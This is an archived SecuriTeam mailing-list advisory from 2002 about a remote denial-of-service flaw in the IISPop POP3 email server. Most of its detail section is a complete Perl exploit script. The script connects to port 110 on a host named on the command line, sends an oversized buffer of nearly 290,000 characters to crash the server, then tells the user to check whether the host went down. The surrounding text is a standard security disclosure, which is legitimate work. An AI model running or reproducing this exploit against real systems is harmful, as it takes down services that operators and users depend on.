

[NT] IISPop Remote DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0048.html>

From: support@securiteam.com

Date: 11/17/02

From: support@securiteam.com

To: list@securiteam.com

Date: 17 Nov 2002 21:15:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

IISPop Remote DoS

SUMMARY

<<http://www.curtiscomp.com/>> IISPop Email Server was designed for small networks. This POP3 only server was designed to be paired with the SMTP server bundled running under the Windows 2000 operating system. A vulnerability in the product allows remote attackers to cause the server to crash by sending it a large buffer.

DETAILS

Vulnerable systems:

* IISPop version 1.161 and 1.181

Exploit:

```
#!/usr/bin/perl -w
```

```
# tool : iispdos.pl
```

```
# shutdown all version of IISPop
```

```
# greetz crack.fr , marocit ,christol
```

```
#
```

```
use IO::Socket;
```

```
$ARGC=@ARGV;
```

Securiteam: [NT] IISPop Remote DoS

```
if ($ARGC !=1) {
print "\n-->";
print "\tUsage: perl iispdos.pl <host> \n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
print "-->";
print "\tConnection Failed...\n";
exit;
}
print $so "$buffer\n";
close $so;

print "-->";
print "\tnow test if the distant host is down\n";
exit;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:securma@caramail.com>>
securma massine.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.